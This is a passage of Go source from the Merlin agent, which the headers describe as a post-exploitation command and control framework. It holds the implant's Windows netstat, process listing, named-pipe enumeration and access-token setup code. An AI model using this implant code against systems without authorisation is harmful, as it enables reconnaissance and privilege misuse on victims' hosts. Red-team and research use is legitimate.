cli.Message(cli.DEBUG, fmt.Sprintf("entering Netstat() with %+v", cmd))
var results jobs.Results
var err string
var actualargument string
if len(cmd.Args) > 1 {
actualargument = cmd.Args[1]
}
out, err := netstat(actualargument)
if err != "" {
results.Stderr = fmt.Sprintf("%s\r\n", err)
} else {
results.Stdout = out
}
return results
}
// SockAddr represents an ip:port pair
type SockAddr struct {
IP net.IP
Port uint16
}
func (s *SockAddr) String() string {
return fmt.Sprintf("%v:%d", s.IP, s.Port)
}
// SockTabEntry type represents each line of the /proc/net/[tcp|udp]
type SockTabEntry struct {
ino string
LocalAddr *SockAddr
RemoteAddr *SockAddr
State SkState
UID uint32
Process *Process
}
// Process holds the PID and process name to which each socket belongs
type Process struct {
Pid int
Name string
}
func (p *Process) String() string {
return fmt.Sprintf("%d/%s", p.Pid, p.Name)
}
// SkState type represents socket connection state
type SkState uint8
func (s SkState) String() string {
return skStates[s]
}
// AcceptFn is used to filter socket entries. The value returned indicates
// whether the element is to be appended to the socket list.
type AcceptFn func(*SockTabEntry) bool
// NoopFilter - a test function returning true for all elements
func NoopFilter(*SockTabEntry) bool { return true }
// TCPSocks returns a slice of active TCP sockets containing only those
// elements that satisfy the accept function
func TCPSocks(accept AcceptFn) ([]SockTabEntry, error) {
return osTCPSocks(accept)
}
// TCP6Socks returns a slice of active TCP IPv4 sockets containing only those
// elements that satisfy the accept function
func TCP6Socks(accept AcceptFn) ([]SockTabEntry, error) {
return osTCP6Socks(accept)
}
// UDPSocks returns a slice of active UDP sockets containing only those
// elements that satisfy the accept function
func UDPSocks(accept AcceptFn) ([]SockTabEntry, error) {
return osUDPSocks(accept)
}
// UDP6Socks returns a slice of active UDP IPv6 sockets containing only those
// elements that satisfy the accept function
func UDP6Socks(accept AcceptFn) ([]SockTabEntry, error) {
return osUDP6Socks(accept)
}
const (
errInsuffBuff = syscall.Errno(122)
Th32csSnapProcess = uint32(0x00000002)
InvalidHandleValue = ^uintptr(0)
MaxPath = 260
)
var (
modiphlpapi = syscall.NewLazyDLL("Iphlpapi.dll")
modkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procGetTCPTable2 = modiphlpapi.NewProc("GetTcpTable2")
procGetTCP6Table2 = modiphlpapi.NewProc("GetTcp6Table2")
procGetExtendedUDPTable = modiphlpapi.NewProc("GetExtendedUdpTable")
procCreateSnapshot = modkernel32.NewProc("CreateToolhelp32Snapshot")
procProcess32First = modkernel32.NewProc("Process32First")
procProcess32Next = modkernel32.NewProc("Process32Next")
)
// Socket states
const (
Close SkState = 0x01
Listen = 0x02
SynSent = 0x03
SynRecv = 0x04
Established = 0x05
FinWait1 = 0x06
FinWait2 = 0x07
CloseWait = 0x08
Closing = 0x09
LastAck = 0x0a
TimeWait = 0x0b
DeleteTcb = 0x0c
)
var skStates = [...]string{
"UNKNOWN",
"", // CLOSE
"LISTEN",
"SYN_SENT",
"SYN_RECV",
"ESTABLISHED",
"FIN_WAIT1",
"FIN_WAIT2",
"CLOSE_WAIT",
"CLOSING",
"LAST_ACK",
"TIME_WAIT",
"DELETE_TCB",
}
func memToIPv4(p unsafe.Pointer) net.IP {
a := (*[net.IPv4len]byte)(p)
ip := make(net.IP, net.IPv4len)
copy(ip, a[:])
return ip
}
func memToIPv6(p unsafe.Pointer) net.IP {
a := (*[net.IPv6len]byte)(p)
ip := make(net.IP, net.IPv6len)
copy(ip, a[:])
return ip
}
func memtohs(n unsafe.Pointer) uint16 {
return binary.BigEndian.Uint16((*[2]byte)(n)[:])
}
type WinSock struct {
Addr uint32
Port uint32
}
func (w *WinSock) Sock() *SockAddr {
ip := memToIPv4(unsafe.Pointer(&w.Addr))
port := memtohs(unsafe.Pointer(&w.Port))
return &SockAddr{IP: ip, Port: port}
}
type WinSock6 struct {
Addr [net.IPv6len]byte
ScopeID uint32
Port uint32
}
func (w *WinSock6) Sock() *SockAddr {
ip := memToIPv6(unsafe.Pointer(&w.Addr[0]))
port := memtohs(unsafe.Pointer(&w.Port))
return &SockAddr{IP: ip, Port: port}
}
type MibTCPRow2 struct {
State uint32
LocalAddr WinSock
RemoteAddr WinSock
WinPid
OffloadState uint32
}
type WinPid uint32
func (pid WinPid) Process(snp ProcessSnapshot) *Process {
if pid < 1 {
return nil
}
return &Process{
Pid: int(pid),
Name: snp.ProcPIDToName(uint32(pid)),
}
}
func (m *MibTCPRow2) LocalSock() *SockAddr { return m.LocalAddr.Sock() }
func (m *MibTCPRow2) RemoteSock() *SockAddr { return m.RemoteAddr.Sock() }
func (m *MibTCPRow2) SockState() SkState { return SkState(m.State) }
type MibTCPTable2 struct {
NumEntries uint32
Table [1]MibTCPRow2
}
func (t *MibTCPTable2) Rows() []MibTCPRow2 {
var s []MibTCPRow2
hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))
hdr.Len = int(t.NumEntries)
hdr.Cap = int(t.NumEntries)
return s
}
// MibTCP6Row2 structure contains information that describes an IPv6 TCP
// connection.
type MibTCP6Row2 struct {
LocalAddr WinSock6
RemoteAddr WinSock6
State uint32
WinPid
OffloadState uint32
}
func (m *MibTCP6Row2) LocalSock() *SockAddr { return m.LocalAddr.Sock() }
func (m *MibTCP6Row2) RemoteSock() *SockAddr { return m.RemoteAddr.Sock() }
func (m *MibTCP6Row2) SockState() SkState { return SkState(m.State) }
// MibTCP6Table2 structure contains a table of IPv6 TCP connections on the
// local computer.
type MibTCP6Table2 struct {
NumEntries uint32
Table [1]MibTCP6Row2
}
func (t *MibTCP6Table2) Rows() []MibTCP6Row2 {
var s []MibTCP6Row2
hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))
hdr.Len = int(t.NumEntries)
hdr.Cap = int(t.NumEntries)
return s
}
// MibUDPRowOwnerPID structure contains an entry from the User Datagram
// Protocol (UDP) listener table for IPv4 on the local computer. The entry also
// includes the process ID (PID) that issued the call to the bind function for
// the UDP endpoint
type MibUDPRowOwnerPID struct {
WinSock
WinPid
}
func (m *MibUDPRowOwnerPID) LocalSock() *SockAddr { return m.Sock() }
func (m *MibUDPRowOwnerPID) RemoteSock() *SockAddr { return &SockAddr{net.IPv4zero, 0} }
func (m *MibUDPRowOwnerPID) SockState() SkState { return Close }
// MibUDPTableOwnerPID structure contains the User Datagram Protocol (UDP)
// listener table for IPv4 on the local computer. The table also includes the
// process ID (PID) that issued the call to the bind function for each UDP
// endpoint.
type MibUDPTableOwnerPID struct {
NumEntries uint32
Table [1]MibUDPRowOwnerPID
}
func (t *MibUDPTableOwnerPID) Rows() []MibUDPRowOwnerPID {
var s []MibUDPRowOwnerPID
hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))
hdr.Len = int(t.NumEntries)
hdr.Cap = int(t.NumEntries)
return s
}
// MibUDP6RowOwnerPID serves the same purpose as MibUDPRowOwnerPID, except that
// the information in this case is for IPv6.
type MibUDP6RowOwnerPID struct {
WinSock6
WinPid
}
func (m *MibUDP6RowOwnerPID) LocalSock() *SockAddr { return m.Sock() }
func (m *MibUDP6RowOwnerPID) RemoteSock() *SockAddr { return &SockAddr{net.IPv4zero, 0} }
func (m *MibUDP6RowOwnerPID) SockState() SkState { return Close }
// MibUDP6TableOwnerPID serves the same purpose as MibUDPTableOwnerPID for IPv6
type MibUDP6TableOwnerPID struct {
NumEntries uint32
Table [1]MibUDP6RowOwnerPID
}
func (t *MibUDP6TableOwnerPID) Rows() []MibUDP6RowOwnerPID {
var s []MibUDP6RowOwnerPID
hdr := (*reflect.SliceHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(&t.Table[0]))
hdr.Len = int(t.NumEntries)
hdr.Cap = int(t.NumEntries)
return s
}
// Processentry32 describes an entry from a list of the processes residing in
// the system address space when a snapshot was taken
type Processentry32 struct {
Size uint32
CntUsage uint32
Th32ProcessID uint32
Th32DefaultHeapID uintptr
Th32ModuleID uint32
CntThreads uint32
Th32ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [MaxPath]byte
}
func rawGetTCPTable2(proc uintptr, tab unsafe.Pointer, size *uint32, order bool) error {
var oint uintptr
if order {
oint = 1
}
r1, _, callErr := syscall.Syscall(
proc,
uintptr(3),
uintptr(tab),
uintptr(unsafe.Pointer(size)),
oint)
if callErr != 0 {
return callErr
}
if r1 != 0 {
return syscall.Errno(r1)
}
return nil
}
func getTCPTable2(proc uintptr, order bool) ([]byte, error) {
var (
size uint32
buf []byte
)
// determine size
err := rawGetTCPTable2(proc, unsafe.Pointer(nil), &size, false)
if err != nil && err != errInsuffBuff {
return nil, err
}
buf = make([]byte, size)
table := unsafe.Pointer(&buf[0])
err = rawGetTCPTable2(proc, table, &size, true)
if err != nil {
return nil, err
}
return buf, nil
}
// GetTCPTable2 function retrieves the IPv4 TCP connection table
func GetTCPTable2(order bool) (*MibTCPTable2, error) {
b, err := getTCPTable2(procGetTCPTable2.Addr(), true)
if err != nil {
return nil, err
}
return (*MibTCPTable2)(unsafe.Pointer(&b[0])), nil
}
// GetTCP6Table2 function retrieves the IPv6 TCP connection table
func GetTCP6Table2(order bool) (*MibTCP6Table2, error) {
b, err := getTCPTable2(procGetTCP6Table2.Addr(), true)
if err != nil {
return nil, err
}
return (*MibTCP6Table2)(unsafe.Pointer(&b[0])), nil
}
// The UDPTableClass enumeration defines the set of values used to indicate
// the type of table returned by calls to GetExtendedUDPTable
type UDPTableClass uint
// Possible table class values
const (
UDPTableBasic UDPTableClass = iota
UDPTableOwnerPID
UDPTableOwnerModule
)
func getExtendedUDPTable(table unsafe.Pointer, size *uint32, order bool, af uint32, cl UDPTableClass) error {
var oint uintptr
if order {
oint = 1
}
r1, _, callErr := syscall.Syscall6(
procGetExtendedUDPTable.Addr(),
uintptr(6),
uintptr(table),
uintptr(unsafe.Pointer(size)),
oint,
uintptr(af),
uintptr(cl),
uintptr(0))
if callErr != 0 {
return callErr
}
if r1 != 0 {
return syscall.Errno(r1)
}
return nil
}
// GetExtendedUDPTable function retrieves a table that contains a list of UDP
// endpoints available to the application
func GetExtendedUDPTable(order bool, af uint32, cl UDPTableClass) ([]byte, error) {
var size uint32
err := getExtendedUDPTable(nil, &size, order, af, cl)
if err != nil && err != errInsuffBuff {
return nil, err
}
buf := make([]byte, size)
err = getExtendedUDPTable(unsafe.Pointer(&buf[0]), &size, order, af, cl)
if err != nil {
return nil, err
}
return buf, nil
}
func GetUDPTableOwnerPID(order bool) (*MibUDPTableOwnerPID, error) {
b, err := GetExtendedUDPTable(true, syscall.AF_INET, UDPTableOwnerPID)
if err != nil {
return nil, err
}
return (*MibUDPTableOwnerPID)(unsafe.Pointer(&b[0])), nil
}
func GetUDP6TableOwnerPID(order bool) (*MibUDP6TableOwnerPID, error) {
b, err := GetExtendedUDPTable(true, syscall.AF_INET6, UDPTableOwnerPID)
if err != nil {
return nil, err
}
return (*MibUDP6TableOwnerPID)(unsafe.Pointer(&b[0])), nil
}
// ProcessSnapshot wraps the syscall.Handle, which represents a snapshot of
// the specified processes.
type ProcessSnapshot syscall.Handle
// CreateToolhelp32Snapshot takes a snapshot of the specified processes, as
// well as the heaps, modules, and threads used by these processes
func CreateToolhelp32Snapshot(flags uint32, pid uint32) (ProcessSnapshot, error) {
r1, _, callErr := syscall.Syscall(
procCreateSnapshot.Addr(),
uintptr(2),
uintptr(flags),
uintptr(pid), 0)
ret := ProcessSnapshot(r1)
if callErr != 0 {
return ret, callErr
}
if r1 == InvalidHandleValue {
return ret, fmt.Errorf("invalid handle value: %#v", r1)
}
return ret, nil
}
// ProcPIDToName translates PID to a name
func (snp ProcessSnapshot) ProcPIDToName(pid uint32) string {
var processEntry Processentry32
processEntry.Size = uint32(unsafe.Sizeof(processEntry))
handle := syscall.Handle(snp)
err := Process32First(handle, &processEntry)
if err != nil {
return ""
}
for {
if processEntry.Th32ProcessID == pid {
return StringFromNullTerminated(processEntry.ExeFile[:])
}
err = Process32Next(handle, &processEntry)
if err != nil {
return ""
}
}
}
// Close releases underlying win32 handle
func (snp ProcessSnapshot) Close() error {
return syscall.CloseHandle(syscall.Handle(snp))
}
// Process32First retrieves information about the first process encountered
// in a system snapshot
func Process32First(handle syscall.Handle, pe *Processentry32) error {
pe.Size = uint32(unsafe.Sizeof(*pe))
r1, _, callErr := syscall.Syscall(
procProcess32First.Addr(),
uintptr(2),
uintptr(handle),
uintptr(unsafe.Pointer(pe)), 0)
if callErr != 0 {
return callErr
}
if r1 == 0 {
return nil
}
return nil
}
// Process32Next retrieves information about the next process
// recorded in a system snapshot
func Process32Next(handle syscall.Handle, pe *Processentry32) error {
pe.Size = uint32(unsafe.Sizeof(*pe))
r1, _, callErr := syscall.Syscall(
procProcess32Next.Addr(),
uintptr(2),
uintptr(handle),
uintptr(unsafe.Pointer(pe)), 0)
if callErr != 0 {
return callErr
}
if r1 == 0 {
return nil
}
return nil
}
// StringFromNullTerminated returns a string from a nul-terminated byte slice
func StringFromNullTerminated(b []byte) string {
n := bytes.IndexByte(b, '\x00')
if n < 1 {
return ""
}
return string(b[:n])
}
type winSockEnt interface {
LocalSock() *SockAddr
RemoteSock() *SockAddr
SockState() SkState
Process(snp ProcessSnapshot) *Process
}
func toSockTabEntry(ws winSockEnt, snp ProcessSnapshot) SockTabEntry {
return SockTabEntry{
LocalAddr: ws.LocalSock(),
RemoteAddr: ws.RemoteSock(),
State: ws.SockState(),
Process: ws.Process(snp),
}
}
func osTCPSocks(accept AcceptFn) ([]SockTabEntry, error) {
tbl, err := GetTCPTable2(true)
if err != nil {
return nil, err
}
snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)
if err != nil {
return nil, err
}
var sktab []SockTabEntry
s := tbl.Rows()
for i := range s {
ent := toSockTabEntry(&s[i], snp)
if accept(&ent) {
sktab = append(sktab, ent)
}
}
snp.Close()
return sktab, nil
}
func osTCP6Socks(accept AcceptFn) ([]SockTabEntry, error) {
tbl, err := GetTCP6Table2(true)
if err != nil {
return nil, err
}
snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)
if err != nil {
return nil, err
}
var sktab []SockTabEntry
s := tbl.Rows()
for i := range s {
ent := toSockTabEntry(&s[i], snp)
if accept(&ent) {
sktab = append(sktab, ent)
}
}
snp.Close()
return sktab, nil
}
func osUDPSocks(accept AcceptFn) ([]SockTabEntry, error) {
tbl, err := GetUDPTableOwnerPID(true)
if err != nil {
return nil, err
}
snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)
if err != nil {
return nil, err
}
var sktab []SockTabEntry
s := tbl.Rows()
for i := range s {
ent := toSockTabEntry(&s[i], snp)
if accept(&ent) {
sktab = append(sktab, ent)
}
}
snp.Close()
return sktab, nil
}
func osUDP6Socks(accept AcceptFn) ([]SockTabEntry, error) {
tbl, err := GetUDP6TableOwnerPID(true)
if err != nil {
return nil, err
}
snp, err := CreateToolhelp32Snapshot(Th32csSnapProcess, 0)
if err != nil {
return nil, err
}
var sktab []SockTabEntry
s := tbl.Rows()
for i := range s {
ent := toSockTabEntry(&s[i], snp)
if accept(&ent) {
sktab = append(sktab, ent)
}
}
snp.Close()
return sktab, nil
}
const (
protoIPv4 = 0x01
protoIPv6 = 0x02
)
// Accepts "udp" or "tcp"
func netstat(filter string) (stdout string, stderr string) {
var udp bool
var tcp bool
switch filter {
case "udp":
udp = true
case "tcp":
tcp = true
default:
udp = true
tcp = true
}
listening := false
all := true
ipv4 := true
ipv6 := true
var proto uint
if ipv4 {
proto |= protoIPv4
}
if ipv6 {
proto |= protoIPv6
}
if proto == 0x00 {
proto = protoIPv4 | protoIPv6
}
//if os.Geteuid() != 0 {
// stdout += fmt.Sprintf("\nElevated privileges needed to identify all process information\n")
//}
stdout += fmt.Sprintf("\nProto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
if udp {
if proto&protoIPv4 == protoIPv4 {
tabs, err := UDPSocks(NoopFilter)
if err == nil {
proto := "udp"
lookup := func(skaddr *SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.IP.String()
if len(addr) > IPv4Strlen {
addr = addr[:IPv4Strlen]
}
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
for _, e := range tabs {
p := ""
if e.Process != nil {
p = e.Process.String()
}
saddr := lookup(e.LocalAddr)
daddr := lookup(e.RemoteAddr)
stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p)
}
}
}
if proto&protoIPv6 == protoIPv6 {
tabs, err := UDP6Socks(NoopFilter)
if err == nil {
proto := "udp6"
lookup := func(skaddr *SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.IP.String()
if len(addr) > IPv4Strlen {
addr = addr[:IPv4Strlen]
}
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
for _, e := range tabs {
p := ""
if e.Process != nil {
p = e.Process.String()
}
saddr := lookup(e.LocalAddr)
daddr := lookup(e.RemoteAddr)
stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p)
}
}
}
} else {
tcp = true
}
if tcp {
var fn AcceptFn
switch {
case all:
fn = func(*SockTabEntry) bool { return true }
case listening:
fn = func(s *SockTabEntry) bool {
return s.State == Listen
}
default:
fn = func(s *SockTabEntry) bool {
return s.State != Listen
}
}
if proto&protoIPv4 == protoIPv4 {
tabs, err := TCPSocks(fn)
if err == nil {
proto := "tcp"
lookup := func(skaddr *SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.IP.String()
if len(addr) > IPv4Strlen {
addr = addr[:IPv4Strlen]
}
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
for _, e := range tabs {
p := ""
if e.Process != nil {
p = e.Process.String()
}
saddr := lookup(e.LocalAddr)
daddr := lookup(e.RemoteAddr)
stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p)
}
}
}
if proto&protoIPv6 == protoIPv6 {
tabs, err := TCP6Socks(fn)
if err == nil {
proto := "tcp6"
lookup := func(skaddr *SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.IP.String()
if len(addr) > IPv4Strlen {
addr = addr[:IPv4Strlen]
}
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
for _, e := range tabs {
p := ""
if e.Process != nil {
p = e.Process.String()
}
saddr := lookup(e.LocalAddr)
daddr := lookup(e.RemoteAddr)
stdout += fmt.Sprintf("%-5s %-23.23s %-23.23s %-12s %-16s\n", proto, saddr, daddr, e.State, p)
}
}
}
}
return stdout, ""
}
================================================
FILE: commands/os.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import "github.com/Ne0nd0g/merlin-agent/v2/cli"
// Setup is used to prepare the environment or context for subsequent commands and is specific to each operating system
func Setup() error {
cli.Message(cli.DEBUG, "entering Setup() function from the commands.os package")
return nil
}
// TearDown is the opposite of Setup and removes and environment or context applications
func TearDown() error {
cli.Message(cli.DEBUG, "entering TearDown() function from the commands.os package")
return nil
}
================================================
FILE: commands/os_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// X-Packages
"golang.org/x/sys/windows"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens"
)
// Setup is used to prepare the environment or context for subsequent commands and is specific to each operating system
func Setup() error {
cli.Message(cli.DEBUG, "entering Setup() function from the commands.os package")
// Apply Windows access token, if any
return tokens.ApplyToken()
}
// TearDown is the opposite of Setup and removes and environment or context applications
func TearDown() error {
cli.Message(cli.DEBUG, "entering TearDown() function from the commands.os package")
// Remove applied Windows access token
return windows.RevertToSelf()
}
================================================
FILE: commands/pipes.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Pipes is only a valid function on Windows agents...for now
func Pipes() jobs.Results {
cli.Message(cli.DEBUG, "entering Pipes()...")
return jobs.Results{
Stderr: "the pipes command is not supported by this agent type",
}
}
================================================
FILE: commands/pipes_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Standard
"fmt"
// Sub Repositories
"golang.org/x/sys/windows"
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// Pipes enumerates and returns a list of named pipes for Windows hosts only
func Pipes() jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("entering Pipes()..."))
var results jobs.Results
var err string
out, err := getPipes()
if err != "" {
results.Stderr = fmt.Sprintf("%s\r\n", err)
} else {
results.Stdout = out
}
return results
}
// Print out the comments of \\.\pipe\*
// Ripped straight out of the Wireguard implementation: conn_windows.go
func getPipes() (stdout string, stderr string) {
// pipePrefix is the path for windows named pipes
var pipePrefix = `\\.\pipe\`
var (
data windows.Win32finddata
)
h, err := windows.FindFirstFile(
// Append * to find all named pipes.
windows.StringToUTF16Ptr(pipePrefix+"*"),
&data,
)
if err != nil {
return "", err.Error()
}
// FindClose is used to close file search handles instead of the typical
// CloseHandle used elsewhere, see:
// https://docs.microsoft.com/en-us/windows/desktop/api/fileapi/nf-fileapi-findclose.
defer windows.FindClose(h)
stdout = "\nNamed pipes:\n"
for {
name := windows.UTF16ToString(data.FileName[:])
stdout += pipePrefix + name + "\n"
if err := windows.FindNextFile(h, &data); err != nil {
if err == windows.ERROR_NO_MORE_FILES {
break
}
return "", err.Error()
}
}
return stdout, ""
}
================================================
FILE: commands/ps.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
// PS lists running processes
// Only available on Windows
func PS() jobs.Results {
cli.Message(cli.DEBUG, "entering PS()...")
return jobs.Results{
Stderr: "the PS command is not supported by this agent type",
}
}
================================================
FILE: commands/ps_windows.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package commands
import (
// standard
"fmt"
"syscall"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
// Merlin
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-message/jobs"
)
type Process1 interface {
// Pid is the process ID for this process.
Pid() int
// PPid is the parent process ID for this process
PPid() int
// Executable name running this process. This is not a path to the executable
Executable() string
Owner() string
Arch() string
}
// WindowsProcess is an implementation of Process for Windows.
type WindowsProcess struct {
pid int
ppid int
exe string
owner string
arch string
}
func (p *WindowsProcess) Pid() int {
return p.pid
}
func (p *WindowsProcess) PPid() int {
return p.ppid
}
func (p *WindowsProcess) Executable() string {
return p.exe
}
func (p *WindowsProcess) Owner() string {
return p.owner
}
func (p *WindowsProcess) Arch() string {
return p.arch
}
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
// Find when the string ends for decoding
end := 0
for {
if e.ExeFile[end] == 0 {
break
}
end++
}
account, _ := getProcessOwner(e.ProcessID)
pHandle, _ := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, e.ProcessID)
defer syscall.CloseHandle(pHandle)
isWow64Process, err := IsWow64Process(pHandle)
arch := "x86"
if !isWow64Process {
arch = "x64"
}
if err != nil {
arch = "err"
}
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
arch: arch,
}
}
func findProcess(pid int) (Process1, error) {
ps, err := getProcesses()
if err != nil {
return nil, err
}
for _, p := range ps {
if p.Pid() == pid {
return p, nil
}
}
return nil, nil
}
// getInfo retrieves a specified type of information about an access token.
func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error) {
n := uint32(initSize)
for {
b := make([]byte, n)
e := syscall.GetTokenInformation(t, class, &b[0], uint32(len(b)), &n)
if e == nil {
return unsafe.Pointer(&b[0]), nil
}
if e != syscall.ERROR_INSUFFICIENT_BUFFER {
return nil, e
}
if n <= uint32(len(b)) {
return nil, e
}
}
}
// getTokenUser retrieves access token t owner account information.
func getTokenUser(t syscall.Token) (*syscall.Tokenuser, error) {
i, e := getInfo(t, syscall.TokenUser, 50)
if e != nil {
return nil, e
}
return (*syscall.Tokenuser)(i), nil
}
func getProcessOwner(pid uint32) (owner string, err error) {
handle, err := syscall.OpenProcess(syscall.PROCESS_QUERY_INFORMATION, false, pid)
if err != nil {
return
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return
}
tokenUser, err := getTokenUser(token)
if err != nil {
return
}
owner, domain, _, err := tokenUser.User.Sid.LookupAccount("")
owner = fmt.Sprintf("%s\\%s", domain, owner)
return
}
// IsWow64Process determines the process architecture
// https://github.com/shenwei356/rush/blob/master/process/process_windows.go
func IsWow64Process(processHandle syscall.Handle) (bool, error) {
var wow64Process bool
kernel32 := windows.NewLazySystemDLL("kernel32")
procIsWow64Process := kernel32.NewProc("IsWow64Process")
r1, _, e1 := procIsWow64Process.Call(
uintptr(processHandle),
uintptr(unsafe.Pointer(&wow64Process)))
if int(r1) == 0 {
return false, e1
}
return wow64Process, nil
}
func getProcesses() ([]Process1, error) {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
}
defer syscall.CloseHandle(handle)
var entry syscall.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err = syscall.Process32First(handle, &entry); err != nil {
return nil, err
}
results := make([]Process1, 0, 50)
for {
results = append(results, newWindowsProcess(&entry))
err = syscall.Process32Next(handle, &entry)
if err != nil {
break
}
}
return results, nil
}
// PS is only a valid function on Windows agents...for now
func PS() jobs.Results {
cli.Message(cli.DEBUG, fmt.Sprintf("entering PS()..."))
var results jobs.Results
// Setup OS environment, if any
err := Setup()
if err != nil {
results.Stderr = err.Error()
return results
}
defer TearDown()
processList, err := getProcesses()
if err != nil {
results.Stderr = fmt.Sprintf("\nthere was an error calling the ps command: %s", err)
return results
}
results.Stdout = fmt.Sprintf("\nPID\tPPID\tARCH\tOWNER\tEXE\n")
for x := range processList {
var process Process1
process = processList[x]
results.Stdout += fmt.Sprintf("%d\t%d\t%s\t%s\t%s\n", process.Pid(), process.PPid(), process.Arch(), process.Owner(), process.Executable())
}
return results
}
================================================
FILE: commands/runas.go
================================================
//go:build !windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
